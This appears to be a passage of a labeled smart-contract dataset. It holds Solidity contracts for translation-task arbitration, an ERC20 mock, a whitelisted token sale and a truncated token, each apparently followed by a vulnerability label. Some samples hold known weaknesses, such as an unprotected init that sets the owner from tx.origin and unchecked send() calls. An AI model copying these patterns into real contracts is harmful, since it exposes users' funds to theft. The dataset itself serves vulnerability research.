event TaskResolved(uint256 indexed _taskID, string _reason, uint256 _timestamp);
event AppealContribution(uint256 indexed _taskID, Party _party, address indexed _contributor, uint256 _amount);
event HasPaidAppealFee(uint256 indexed _taskID, Party _party);
modifier onlyGovernor() {
require(msg.sender == governor, "Only governor is allowed to perform this.");
_;
}
constructor(
IArbitrator _arbitrator,
bytes memory _arbitratorExtraData,
uint256 _reviewTimeout,
uint256 _translationMultiplier,
uint256 _challengeMultiplier,
uint256 _sharedStakeMultiplier,
uint256 _winnerStakeMultiplier,
uint256 _loserStakeMultiplier
) public {
arbitrator = _arbitrator;
arbitratorExtraData = _arbitratorExtraData;
reviewTimeout = _reviewTimeout;
translationMultiplier = _translationMultiplier;
challengeMultiplier = _challengeMultiplier;
sharedStakeMultiplier = _sharedStakeMultiplier;
winnerStakeMultiplier = _winnerStakeMultiplier;
loserStakeMultiplier = _loserStakeMultiplier;
}
function changeGovernor(address _governor) public onlyGovernor {
governor = _governor;
}
function changeReviewTimeout(uint256 _reviewTimeout) public onlyGovernor {
reviewTimeout = _reviewTimeout;
}
function changeTranslationMultiplier(uint256 _translationMultiplier) public onlyGovernor {
translationMultiplier = _translationMultiplier;
}
function changeChallengeMultiplier(uint256 _challengeMultiplier) public onlyGovernor {
challengeMultiplier = _challengeMultiplier;
}
function changeSharedStakeMultiplier(uint256 _sharedStakeMultiplier) public onlyGovernor {
sharedStakeMultiplier = _sharedStakeMultiplier;
}
function changeWinnerStakeMultiplier(uint256 _winnerStakeMultiplier) public onlyGovernor {
winnerStakeMultiplier = _winnerStakeMultiplier;
}
function changeLoserStakeMultiplier(uint256 _loserStakeMultiplier) public onlyGovernor {
loserStakeMultiplier = _loserStakeMultiplier;
}
function createTask(
uint256 _deadline,
uint256 _minPrice,
string calldata _metaEvidence
) external payable returns (uint256 taskID) {
require(msg.value >= _minPrice, "Deposited value should be greater than or equal to the min price.");
require(_deadline > block.timestamp, "The deadline should be in the future.");
taskID = tasks.length;
Task storage task = tasks.push();
task.submissionTimeout = _deadline - block.timestamp;
task.minPrice = _minPrice;
task.maxPrice = msg.value;
task.lastInteraction = block.timestamp;
task.requester = msg.sender;
task.requesterDeposit = msg.value;
emit MetaEvidence(taskID, _metaEvidence);
emit TaskCreated(taskID, msg.sender, block.timestamp);
}
function assignTask(uint256 _taskID) external payable {
Task storage task = tasks[_taskID];
require(block.timestamp - task.lastInteraction <= task.submissionTimeout, "The deadline has already passed.");
uint256 price = task.minPrice +
((task.maxPrice - task.minPrice) * (block.timestamp - task.lastInteraction)) /
task.submissionTimeout;
uint256 arbitrationCost = arbitrator.arbitrationCost(arbitratorExtraData);
uint256 translatorDeposit = arbitrationCost.addCap((translationMultiplier.mulCap(price)) / MULTIPLIER_DIVISOR);
require(task.status == Status.Created, "Task has already been assigned or reimbursed.");
require(msg.value >= translatorDeposit, "Not enough ETH to reach the required deposit value.");
task.parties[uint256(Party.Translator)] = msg.sender;
task.status = Status.Assigned;
uint256 remainder = task.maxPrice - price;
task.requester.send(remainder);
task.requesterDeposit = price;
task.sumDeposit = translatorDeposit;
remainder = msg.value - translatorDeposit;
msg.sender.send(remainder);
emit TaskAssigned(_taskID, msg.sender, price, block.timestamp);
}
function submitTranslation(uint256 _taskID, string calldata _translation) external {
Task storage task = tasks[_taskID];
require(
task.status == Status.Assigned,
"The task is either not assigned or translation has already been submitted."
);
require(block.timestamp - task.lastInteraction <= task.submissionTimeout, "The deadline has already passed.");
require(
msg.sender == task.parties[uint256(Party.Translator)],
"Can't submit translation to a task that wasn't assigned to you."
);
task.status = Status.AwaitingReview;
task.lastInteraction = block.timestamp;
emit TranslationSubmitted(_taskID, msg.sender, _translation, block.timestamp);
}
function reimburseRequester(uint256 _taskID) external {
Task storage task = tasks[_taskID];
require(task.status < Status.AwaitingReview, "Can't reimburse if translation was submitted.");
require(
block.timestamp - task.lastInteraction > task.submissionTimeout,
"Can't reimburse if the deadline hasn't passed yet."
);
task.status = Status.Resolved;
uint256 amount = task.requesterDeposit + task.sumDeposit;
task.requester.send(amount);
task.requesterDeposit = 0;
task.sumDeposit = 0;
emit TaskResolved(_taskID, "requester-reimbursed", block.timestamp);
}
function acceptTranslation(uint256 _taskID) external {
Task storage task = tasks[_taskID];
require(task.status == Status.AwaitingReview, "The task is in the wrong status.");
require(block.timestamp - task.lastInteraction > reviewTimeout, "The review phase hasn't passed yet.");
task.status = Status.Resolved;
uint256 amount = task.requesterDeposit + task.sumDeposit;
task.parties[uint256(Party.Translator)].send(amount);
task.requesterDeposit = 0;
task.sumDeposit = 0;
emit TaskResolved(_taskID, "translation-accepted", block.timestamp);
}
function challengeTranslation(uint256 _taskID, string calldata _evidence) external payable {
Task storage task = tasks[_taskID];
uint256 arbitrationCost = arbitrator.arbitrationCost(arbitratorExtraData);
uint256 challengeDeposit = arbitrationCost.addCap(
(challengeMultiplier.mulCap(task.requesterDeposit)) / MULTIPLIER_DIVISOR
);
require(task.status == Status.AwaitingReview, "The task is in the wrong status.");
require(block.timestamp - task.lastInteraction <= reviewTimeout, "The review phase has already passed.");
require(msg.value >= challengeDeposit, "Not enough ETH to cover challenge deposit.");
task.status = Status.DisputeCreated;
task.parties[uint256(Party.Challenger)] = msg.sender;
task.disputeID = arbitrator.createDispute{value: arbitrationCost}(2, arbitratorExtraData);
disputeIDtoTaskID[task.disputeID] = _taskID;
task.rounds.push();
task.sumDeposit = task.sumDeposit.addCap(challengeDeposit).subCap(arbitrationCost);
uint256 remainder = msg.value - challengeDeposit;
msg.sender.send(remainder);
emit Dispute(arbitrator, task.disputeID, _taskID, _taskID);
emit TranslationChallenged(_taskID, msg.sender, block.timestamp);
if (bytes(_evidence).length > 0) emit Evidence(arbitrator, _taskID, msg.sender, _evidence);
}
function fundAppeal(uint256 _taskID, Party _side) external payable {
Task storage task = tasks[_taskID];
require(
_side == Party.Translator || _side == Party.Challenger,
"Recipient must be either the translator or challenger."
);
require(task.status == Status.DisputeCreated, "No dispute to appeal.");
require(
arbitrator.disputeStatus(task.disputeID) == IArbitrator.DisputeStatus.Appealable,
"Dispute is not appealable."
);
(uint256 appealPeriodStart, uint256 appealPeriodEnd) = arbitrator.appealPeriod(task.disputeID);
require(
block.timestamp >= appealPeriodStart && block.timestamp < appealPeriodEnd,
"Funding must be made within the appeal period."
);
uint256 winner = arbitrator.currentRuling(task.disputeID);
uint256 multiplier;
if (winner == uint256(_side)) {
multiplier = winnerStakeMultiplier;
} else if (winner == 0) {
multiplier = sharedStakeMultiplier;
} else {
require(
block.timestamp - appealPeriodStart < (appealPeriodEnd - appealPeriodStart) / 2,
"The loser must pay during the first half of the appeal period."
);
multiplier = loserStakeMultiplier;
}
Round storage round = task.rounds[task.rounds.length - 1];
require(!round.hasPaid[uint256(_side)], "Appeal fee has already been paid.");
uint256 appealCost = arbitrator.appealCost(task.disputeID, arbitratorExtraData);
uint256 totalCost = appealCost.addCap((appealCost.mulCap(multiplier)) / MULTIPLIER_DIVISOR);
uint256 contribution;
uint256 remainingETH;
(contribution, remainingETH) = calculateContribution(
msg.value,
totalCost.subCap(round.paidFees[uint256(_side)])
);
round.contributions[msg.sender][uint256(_side)] += contribution;
round.paidFees[uint256(_side)] += contribution;
emit AppealContribution(_taskID, _side, msg.sender, contribution);
if (round.paidFees[uint256(_side)] >= totalCost) {
round.hasPaid[uint256(_side)] = true;
round.feeRewards += round.paidFees[uint256(_side)];
emit HasPaidAppealFee(_taskID, _side);
}
msg.sender.send(remainingETH);
if (round.hasPaid[uint256(Party.Translator)] && round.hasPaid[uint256(Party.Challenger)]) {
arbitrator.appeal{value: appealCost}(task.disputeID, arbitratorExtraData);
task.rounds.push();
round.feeRewards = round.feeRewards.subCap(appealCost);
}
}
function calculateContribution(uint256 _available, uint256 _requiredAmount)
internal
pure
returns (uint256 taken, uint256 remainder)
{
if (_requiredAmount > _available) return (_available, 0);
remainder = _available - _requiredAmount;
return (_requiredAmount, remainder);
}
function withdrawFeesAndRewards(
address payable _beneficiary,
uint256 _taskID,
uint256 _round
) public {
Task storage task = tasks[_taskID];
Round storage round = task.rounds[_round];
require(task.status == Status.Resolved, "The task should be resolved.");
uint256 reward;
if (!round.hasPaid[uint256(Party.Translator)] || !round.hasPaid[uint256(Party.Challenger)]) {
reward =
round.contributions[_beneficiary][uint256(Party.Translator)] +
round.contributions[_beneficiary][uint256(Party.Challenger)];
round.contributions[_beneficiary][uint256(Party.Translator)] = 0;
round.contributions[_beneficiary][uint256(Party.Challenger)] = 0;
} else if (task.ruling == uint256(Party.None)) {
uint256 rewardTranslator = round.paidFees[uint256(Party.Translator)] > 0
? (round.contributions[_beneficiary][uint256(Party.Translator)] * round.feeRewards) /
(round.paidFees[uint256(Party.Translator)] + round.paidFees[uint256(Party.Challenger)])
: 0;
uint256 rewardChallenger = round.paidFees[uint256(Party.Challenger)] > 0
? (round.contributions[_beneficiary][uint256(Party.Challenger)] * round.feeRewards) /
(round.paidFees[uint256(Party.Translator)] + round.paidFees[uint256(Party.Challenger)])
: 0;
reward = rewardTranslator + rewardChallenger;
round.contributions[_beneficiary][uint256(Party.Translator)] = 0;
round.contributions[_beneficiary][uint256(Party.Challenger)] = 0;
} else {
reward = round.paidFees[task.ruling] > 0
? (round.contributions[_beneficiary][task.ruling] * round.feeRewards) / round.paidFees[task.ruling]
: 0;
round.contributions[_beneficiary][task.ruling] = 0;
}
_beneficiary.send(reward);
}
function batchRoundWithdraw(
address payable _beneficiary,
uint256 _taskID,
uint256 _cursor,
uint256 _count
) public {
Task storage task = tasks[_taskID];
for (uint256 i = _cursor; i < task.rounds.length && (_count == 0 || i < _cursor + _count); i++)
withdrawFeesAndRewards(_beneficiary, _taskID, i);
}
function rule(uint256 _disputeID, uint256 _ruling) external override {
Party resultRuling = Party(_ruling);
uint256 taskID = disputeIDtoTaskID[_disputeID];
Task storage task = tasks[taskID];
Round storage round = task.rounds[task.rounds.length - 1];
require(msg.sender == address(arbitrator), "Must be called by the arbitrator.");
require(task.status == Status.DisputeCreated, "The dispute has already been resolved.");
if (round.hasPaid[uint256(Party.Translator)] == true) resultRuling = Party.Translator;
else if (round.hasPaid[uint256(Party.Challenger)] == true) resultRuling = Party.Challenger;
emit Ruling(IArbitrator(msg.sender), _disputeID, uint256(resultRuling));
executeRuling(_disputeID, uint256(resultRuling));
}
function executeRuling(uint256 _disputeID, uint256 _ruling) internal {
uint256 taskID = disputeIDtoTaskID[_disputeID];
Task storage task = tasks[taskID];
task.status = Status.Resolved;
task.ruling = _ruling;
uint256 amount;
if (_ruling == uint256(Party.None)) {
task.requester.send(task.requesterDeposit);
amount = task.sumDeposit / 2;
task.parties[uint256(Party.Translator)].send(amount);
task.parties[uint256(Party.Challenger)].send(amount);
} else if (_ruling == uint256(Party.Translator)) {
amount = task.requesterDeposit + task.sumDeposit;
task.parties[uint256(Party.Translator)].send(amount);
} else {
task.requester.send(task.requesterDeposit);
task.parties[uint256(Party.Challenger)].send(task.sumDeposit);
}
task.requesterDeposit = 0;
task.sumDeposit = 0;
emit TaskResolved(taskID, "dispute-settled", block.timestamp);
}
function submitEvidence(uint256 _taskID, string calldata _evidence) external {
Task storage task = tasks[_taskID];
require(task.status != Status.Resolved, "The task must not already be resolved.");
emit Evidence(arbitrator, _taskID, msg.sender, _evidence);
}
function amountWithdrawable(uint256 _taskID, address payable _beneficiary) external view returns (uint256 total) {
Task storage task = tasks[_taskID];
if (task.status != Status.Resolved) return total;
for (uint256 i = 0; i < task.rounds.length; i++) {
Round storage round = task.rounds[i];
if (!round.hasPaid[uint256(Party.Translator)] || !round.hasPaid[uint256(Party.Challenger)]) {
total +=
round.contributions[_beneficiary][uint256(Party.Translator)] +
round.contributions[_beneficiary][uint256(Party.Challenger)];
} else if (task.ruling == uint256(Party.None)) {
uint256 rewardTranslator = round.paidFees[uint256(Party.Translator)] > 0
? (round.contributions[_beneficiary][uint256(Party.Translator)] * round.feeRewards) /
(round.paidFees[uint256(Party.Translator)] + round.paidFees[uint256(Party.Challenger)])
: 0;
uint256 rewardChallenger = round.paidFees[uint256(Party.Challenger)] > 0
? (round.contributions[_beneficiary][uint256(Party.Challenger)] * round.feeRewards) /
(round.paidFees[uint256(Party.Translator)] + round.paidFees[uint256(Party.Challenger)])
: 0;
total += rewardTranslator + rewardChallenger;
} else {
total += round.paidFees[uint256(task.ruling)] > 0
? (round.contributions[_beneficiary][uint256(task.ruling)] * round.feeRewards) /
round.paidFees[uint256(task.ruling)]
: 0;
}
}
return total;
}
function getDepositValue(uint256 _taskID) public view returns (uint256 deposit) {
Task storage task = tasks[_taskID];
if (block.timestamp - task.lastInteraction > task.submissionTimeout || task.status != Status.Created) {
deposit = NOT_PAYABLE_VALUE;
} else {
uint256 price = task.minPrice +
((task.maxPrice - task.minPrice) * (block.timestamp - task.lastInteraction)) /
task.submissionTimeout;
uint256 arbitrationCost = arbitrator.arbitrationCost(arbitratorExtraData);
deposit = arbitrationCost.addCap((translationMultiplier.mulCap(price)) / MULTIPLIER_DIVISOR);
}
}
function getChallengeValue(uint256 _taskID) public view returns (uint256 deposit) {
Task storage task = tasks[_taskID];
if (block.timestamp - task.lastInteraction > reviewTimeout || task.status != Status.AwaitingReview) {
deposit = NOT_PAYABLE_VALUE;
} else {
uint256 arbitrationCost = arbitrator.arbitrationCost(arbitratorExtraData);
deposit = arbitrationCost.addCap((challengeMultiplier.mulCap(task.requesterDeposit)) / MULTIPLIER_DIVISOR);
}
}
function getTaskPrice(uint256 _taskID) public view returns (uint256 price) {
Task storage task = tasks[_taskID];
if (block.timestamp - task.lastInteraction > task.submissionTimeout || task.status != Status.Created) {
price = 0;
} else {
price =
task.minPrice +
((task.maxPrice - task.minPrice) * (block.timestamp - task.lastInteraction)) /
task.submissionTimeout;
}
}
function getTaskCount() public view returns (uint256) {
return tasks.length;
}
function getNumberOfRounds(uint256 _taskID) public view returns (uint256) {
Task storage task = tasks[_taskID];
return task.rounds.length;
}
function getContributions(
uint256 _taskID,
uint256 _round,
address _contributor
) public view returns (uint256[3] memory contributions) {
Task storage task = tasks[_taskID];
Round storage round = task.rounds[_round];
contributions = round.contributions[_contributor];
}
function getTaskParties(uint256 _taskID) public view returns (address payable[3] memory parties) {
Task storage task = tasks[_taskID];
parties = task.parties;
}
function getRoundInfo(uint256 _taskID, uint256 _round)
public
view
returns (
uint256[3] memory paidFees,
bool[3] memory hasPaid,
uint256 feeRewards
)
{
Task storage task = tasks[_taskID];
Round storage round = task.rounds[_round];
return (round.paidFees, round.hasPaid, round.feeRewards);
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol) {
_name = name;
_symbol = symbol;
_decimals = 18;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
abstract contract ERC20Burnable is Context, ERC20 {
using SafeMath for uint256;
function burn(uint256 amount) public virtual {
_burn(_msgSender(), amount);
}
function burnFrom(address account, uint256 amount) public virtual {
uint256 decreasedAllowance = allowance(account, _msgSender()).sub(amount, "ERC20: burn amount exceeds allowance");
_approve(account, _msgSender(), decreasedAllowance);
_burn(account, amount);
}
}
contract ERC20Mock is ERC20, ERC20Burnable {
constructor(address initialAccount, uint256 initialBalance) ERC20("MockToken", "MCT") {
_mint(initialAccount, initialBalance);
}
} | 0 | 1,137 |
pragma solidity 0.4.25;
contract Ownable {
address public _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner(), "only owner is able call this function");
_;
}
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool private _paused;
constructor () internal {
_paused = false;
}
function paused() public view returns (bool) {
return _paused;
}
modifier whenNotPaused() {
require(!_paused, "must not be paused");
_;
}
modifier whenPaused() {
require(_paused, "must be paused");
_;
}
function pause() public onlyOwner whenNotPaused {
_paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
_paused = false;
emit Unpause();
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract Crowdsale {
uint256 public startTime;
uint256 public endTime;
uint256 public rate;
uint256 public weiRaised;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
function initCrowdsale(uint256 _startTime, uint256 _endTime, uint256 _rate) public {
require(
startTime == 0 && endTime == 0 && rate == 0,
"Global variables must be empty when initializing crowdsale!"
);
require(_startTime >= now, "_startTime must be more than current time!");
require(_endTime >= _startTime, "_endTime must be more than _startTime!");
startTime = _startTime;
endTime = _endTime;
rate = _rate;
}
function hasEnded() public view returns (bool) {
return now > endTime;
}
}
contract FinalizableCrowdsale is Crowdsale, Ownable {
using SafeMath for uint256;
bool public isFinalized = false;
event Finalized();
function finalize() onlyOwner public {
require(!isFinalized);
require(hasEnded());
finalization();
emit Finalized();
isFinalized = true;
}
function finalization() internal {
}
}
contract ERC20Plus {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
function mint(address _to, uint256 _amount) public returns (bool);
function owner() public view returns (address);
function transferOwnership(address newOwner) public;
function name() public view returns (string);
function symbol() public view returns (string);
function decimals() public view returns (uint8);
function paused() public view returns (bool);
}
contract Whitelist is Ownable {
mapping(address => bool) public allowedAddresses;
event WhitelistUpdated(uint256 timestamp, string operation, address indexed member);
function addToWhitelist(address _address) external onlyOwner {
allowedAddresses[_address] = true;
emit WhitelistUpdated(now, "Added", _address);
}
function addManyToWhitelist(address[] _addresses) external onlyOwner {
for (uint256 i = 0; i < _addresses.length; i++) {
allowedAddresses[_addresses[i]] = true;
emit WhitelistUpdated(now, "Added", _addresses[i]);
}
}
function removeManyFromWhitelist(address[] _addresses) public onlyOwner {
for (uint256 i = 0; i < _addresses.length; i++) {
allowedAddresses[_addresses[i]] = false;
emit WhitelistUpdated(now, "Removed", _addresses[i]);
}
}
}
interface TokenSaleInterface {
function init
(
uint256 _startTime,
uint256 _endTime,
address _whitelist,
address _starToken,
address _companyToken,
address _tokenOwnerAfterSale,
uint256 _rate,
uint256 _starRate,
address _wallet,
uint256 _softCap,
uint256 _crowdsaleCap,
bool _isWeiAccepted,
bool _isMinting
)
external;
}
contract FundsSplitterInterface {
function splitFunds() public payable;
function splitStarFunds() public;
}
contract TokenSale is FinalizableCrowdsale, Pausable {
uint256 public softCap;
uint256 public crowdsaleCap;
uint256 public tokensSold;
uint256 public starRaised;
uint256 public starRate;
address public tokenOwnerAfterSale;
bool public isWeiAccepted;
bool public isMinting;
Whitelist public whitelist;
ERC20Plus public starToken;
FundsSplitterInterface public wallet;
ERC20Plus public tokenOnSale;
event TokenRateChanged(uint256 previousRate, uint256 newRate);
event TokenStarRateChanged(uint256 previousStarRate, uint256 newStarRate);
event TokenPurchaseWithStar(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
function init(
uint256 _startTime,
uint256 _endTime,
address _whitelist,
address _starToken,
address _companyToken,
address _tokenOwnerAfterSale,
uint256 _rate,
uint256 _starRate,
address _wallet,
uint256 _softCap,
uint256 _crowdsaleCap,
bool _isWeiAccepted,
bool _isMinting
)
external
{
require(
whitelist == address(0) &&
starToken == address(0) &&
tokenOwnerAfterSale == address(0) &&
rate == 0 &&
starRate == 0 &&
tokenOnSale == address(0) &&
softCap == 0 &&
crowdsaleCap == 0 &&
wallet == address(0),
"Global variables should not have been set before!"
);
require(
_whitelist != address(0) &&
_starToken != address(0) &&
!(_rate == 0 && _starRate == 0) &&
_companyToken != address(0) &&
_softCap != 0 &&
_crowdsaleCap != 0 &&
_wallet != 0,
"Parameter variables cannot be empty!"
);
require(_softCap < _crowdsaleCap, "SoftCap should be smaller than crowdsaleCap!");
if (_isWeiAccepted) {
require(_rate > 0, "Set a rate for Wei, when it is accepted for purchases!");
} else {
require(_rate == 0, "Only set a rate for Wei, when it is accepted for purchases!");
}
initCrowdsale(_startTime, _endTime, _rate);
tokenOnSale = ERC20Plus(_companyToken);
whitelist = Whitelist(_whitelist);
starToken = ERC20Plus(_starToken);
wallet = FundsSplitterInterface(_wallet);
tokenOwnerAfterSale = _tokenOwnerAfterSale;
starRate = _starRate;
isWeiAccepted = _isWeiAccepted;
isMinting = _isMinting;
_owner = tx.origin;
softCap = _softCap.mul(10 ** 18);
crowdsaleCap = _crowdsaleCap.mul(10 ** 18);
if (isMinting) {
require(tokenOwnerAfterSale != address(0), "TokenOwnerAftersale cannot be empty when minting tokens!");
require(ERC20Plus(tokenOnSale).paused(), "Company token must be paused upon initialization!");
} else {
require(tokenOwnerAfterSale == address(0), "TokenOwnerAftersale must be empty when minting tokens!");
}
require(ERC20Plus(tokenOnSale).decimals() == 18, "Only sales for tokens with 18 decimals are supported!");
}
modifier isWhitelisted(address beneficiary) {
require(whitelist.allowedAddresses(beneficiary), "Beneficiary not whitelisted!");
_;
}
function () external payable {
revert("No fallback function defined!");
}
function setRate(uint256 newRate) external onlyOwner {
require(isWeiAccepted, "Sale must allow Wei for purchases to set a rate for Wei!");
require(newRate != 0, "ETH rate must be more than 0!");
emit TokenRateChanged(rate, newRate);
rate = newRate;
}
function setStarRate(uint256 newStarRate) external onlyOwner {
require(newStarRate != 0, "Star rate must be more than 0!");
emit TokenStarRateChanged(starRate, newStarRate);
starRate = newStarRate;
}
function setIsWeiAccepted(bool _isWeiAccepted, uint256 _rate) external onlyOwner {
if (_isWeiAccepted) {
require(_rate > 0, "When accepting Wei, you need to set a conversion rate!");
} else {
require(_rate == 0, "When not accepting Wei, you need to set a conversion rate of 0!");
}
isWeiAccepted = _isWeiAccepted;
rate = _rate;
}
function buyTokens(address beneficiary)
public
payable
whenNotPaused
isWhitelisted(beneficiary)
{
require(beneficiary != address(0));
require(validPurchase() && tokensSold < crowdsaleCap);
if (isMinting) {
require(tokenOnSale.owner() == address(this), "The token owner must be contract address!");
}
if (!isWeiAccepted) {
require(msg.value == 0);
} else if (msg.value > 0) {
buyTokensWithWei(beneficiary);
}
uint256 starAllocationToTokenSale = starToken.allowance(beneficiary, this);
if (starAllocationToTokenSale > 0) {
uint256 tokens = starAllocationToTokenSale.mul(starRate).div(1000);
if (tokensSold.add(tokens) > crowdsaleCap) {
tokens = crowdsaleCap.sub(tokensSold);
starAllocationToTokenSale = tokens.div(starRate).div(1000);
}
starRaised = starRaised.add(starAllocationToTokenSale);
tokensSold = tokensSold.add(tokens);
sendPurchasedTokens(beneficiary, tokens);
emit TokenPurchaseWithStar(msg.sender, beneficiary, starAllocationToTokenSale, tokens);
starToken.transferFrom(beneficiary, wallet, starAllocationToTokenSale);
wallet.splitStarFunds();
}
}
function buyTokensWithWei(address beneficiary)
internal
{
uint256 weiAmount = msg.value;
uint256 weiRefund = 0;
uint256 tokens = weiAmount.mul(rate);
if (tokensSold.add(tokens) > crowdsaleCap) {
tokens = crowdsaleCap.sub(tokensSold);
weiAmount = tokens.div(rate);
weiRefund = msg.value.sub(weiAmount);
}
weiRaised = weiRaised.add(weiAmount);
tokensSold = tokensSold.add(tokens);
sendPurchasedTokens(beneficiary, tokens);
emit TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
address(wallet).transfer(weiAmount);
wallet.splitFunds();
if (weiRefund > 0) {
msg.sender.transfer(weiRefund);
}
}
function sendPurchasedTokens(address _beneficiary, uint256 _tokens) internal {
isMinting ? tokenOnSale.mint(_beneficiary, _tokens) : tokenOnSale.transfer(_beneficiary, _tokens);
}
function hasReachedSoftCap() public view returns (bool) {
if (tokensSold >= softCap) {
return true;
}
return false;
}
function hasEnded() public view returns (bool) {
if (tokensSold >= crowdsaleCap) {
return true;
}
return super.hasEnded();
}
function validPurchase() internal view returns (bool) {
return now >= startTime && now <= endTime;
}
function finalization() internal {
uint256 remainingTokens = isMinting ? crowdsaleCap.sub(tokensSold) : tokenOnSale.balanceOf(address(this));
if (remainingTokens > 0) {
sendPurchasedTokens(wallet, remainingTokens);
}
if (isMinting) tokenOnSale.transferOwnership(tokenOwnerAfterSale);
super.finalization();
}
} | 1 | 3,095 |
pragma solidity ^0.4.25;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract ForeignToken {
function balanceOf(address _owner) constant public returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract HuapuPay is ERC20 {
using SafeMath for uint256;
address owner = msg.sender;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
string public constant name = 'Huapu Pay';
string public constant symbol = 'HUP';
uint public constant decimals = 18;
uint256 public totalSupply = 10000000000e18;
uint256 public totalDistributed = 2000000000e18;
uint256 public constant MIN_CONTRIBUTION = 1 ether / 100;
uint256 public tokensPerEth = 20000000e18;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Distr(address indexed to, uint256 amount);
event DistrFinished();
event Airdrop(address indexed _owner, uint _amount, uint _balance);
event TokensPerEthUpdated(uint _tokensPerEth);
event Burn(address indexed burner, uint256 value);
bool public distributionFinished = false;
modifier canDistr() {
require(!distributionFinished);
_;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
constructor () public {
owner = msg.sender;
distr(owner, totalDistributed);
}
function transferOwnership(address newOwner) onlyOwner public {
if (newOwner != address(0)) {
owner = newOwner;
}
}
function finishDistribution() onlyOwner canDistr public returns (bool) {
distributionFinished = true;
emit DistrFinished();
return true;
}
function distr(address _to, uint256 _amount) canDistr private returns (bool) {
